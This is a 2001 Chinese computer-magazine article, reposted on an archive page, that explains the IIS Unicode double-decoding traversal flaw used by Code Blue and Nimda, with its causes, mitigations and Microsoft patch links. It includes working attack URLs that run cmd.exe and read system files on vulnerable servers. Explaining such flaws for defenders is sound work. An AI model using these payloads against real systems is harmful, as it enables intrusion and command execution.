微信公众号 
图码生活

每天发布有五花八门的文章,各种有趣的知识等,期待您的订阅与参与
电脑报 1992-2001 十年文章全集
电脑报 1992-2001 十年文章全集
包含从 1992 年 - 2001 年间,两万余篇期刊文章,查询最少输入两个字符
随便看看
读取中
读取中
标题Unicode漏洞
栏目网络与通信
作者老周
发布2001年39期
  原理篇
  蓝色代码(Codeblue)和尼姆达(Nimda)都是使用unicode漏洞进行攻击。
   1.漏洞描述
  1http://192.168.8.48/A.ida/%c1%00.ida
  文件:E:\Inetpub\wwwroot\A.ida\@.ida。
  系统找不到指定的路径。
  解释:%c1%00解码成了c1 00,这正常。但再一次解码成了(c1-c0)*40+00=40=“@”。
  2)http://192.168.8.48/A.ida/%c1%01.ida
  文件:E:\Inetpub\wwwroot\A.ida\A.ida。
  系统找不到指定的路径。
  解释:%c1%01解码成了c1 01,这正常。但再一次解码成了(c1-c0)*40+01=41=“A”。
  3)http://192.168.8.48/A.ida/%c1%02.ida
  文件:E:\Inetpub\wwwroot\A.ida\B.ida。
  系统找不到指定的路径。
  4)http://192.168.8.48/A.ida/%c1%3a.ida
  文件: E:\Inetpub\wwwroot\A.ida\z.ida。
  系统找不到指定的路径。
  ……
  大家可能还没意识到这能干什么,那看看黑客能干什么吧。把计数器e:\inetpub\wwwroot\counter.asp拷贝成e:\inetpub\count.asp,也就是到了Web目录的上级目录,文件名也改了,以避免混淆,这时在浏览器里面输入http://192.168.8.48/..%c1%1ccount.asp,计数器界面出来了,也就是说黑客访问到了Web目录的上级目录。再结合一些别的技巧,还可以看到虚拟目录所在盘任意文件。
   2.漏洞成因
  unicode漏洞:IIS在加载可执行CGI程序时,会存在两次解码,第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为“.exe”或“.com”等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。
  “c11c”编码问题:中文简体里面没有这种字,照正常的情况该根据内码转换文件\Winnt\system32\c_936.nls会编码成“?”。会SOFT-ICE的人可以实验,设置断点bpx CreateFileA拦截文件打开操作,再打开一个文件,断点出来后把文件名最后修改成“c1 1c”,再设置断点bpx CreateFileW,一运行出来看看这个“c1 1c”解码成了什么?解码成了3f就是“?”号,这是正常的汉字转换成内码结果。但对中文简体版IIS中c1 1c解码成了(c1-c0)×40+1c=5c=“\”。
  “%c1”编码问题中文IIS等处理文件名的时候,有个特殊的%c1编码问题,可以编码出任何字母及一些其他字符,如“\”等,而此编码发生在IIS检测处理路径串中的“..\”之后,所以可以突破IIS路径访问到上级目录。
  此漏洞从中文IIS4.0+SP6开始,还影响中文Win2000+IIS5.0、中文Win2000+IIS5.0+SP1,繁体中文也受此漏洞影响。
  例如:
  http://192.168.8.48/scripts/..%c1%1c../Winnt/system32/cmd.exe?/c+dir
  http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../Winnt/Win.ini
  中文WinNT+IIS4.0+SP6:
  http://192.168.8.48/default.asp/a.exe
  /..%c1%1c../..%c1%1c../Winnt.ini
  可以使用.ida等映射检测此漏洞:
  http://192.168.8.48/%c1%01.ida
  有些漏洞会返回类似“找不到 IDQ 文件 A.ida。”的信息。注意%c1%01已经解码成了“A”。
   3.解决方法
  没有安装补丁之前,暂时采用下列方法临时解决问题:
  1.如果不需要可执行的CGI,可以删除可执行虚拟目录,例如/scripts等等。
  2.如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区。
  3.将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组访问。
  厂商补丁:
  微软已经发布了一个安全公告MS00-78,你可在下列地址看到更详细的内容:http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
  补丁可以从下列地址下载:
  Microsoft IIS 4.0:
  http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
  Microsoft IIS 5.0:
  http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
  有人说微软一上市,就注定有许多Bug存在,怎样弥补这些漏洞﹖我们希望微软能及时出一些修正补丁,让系统更加完善。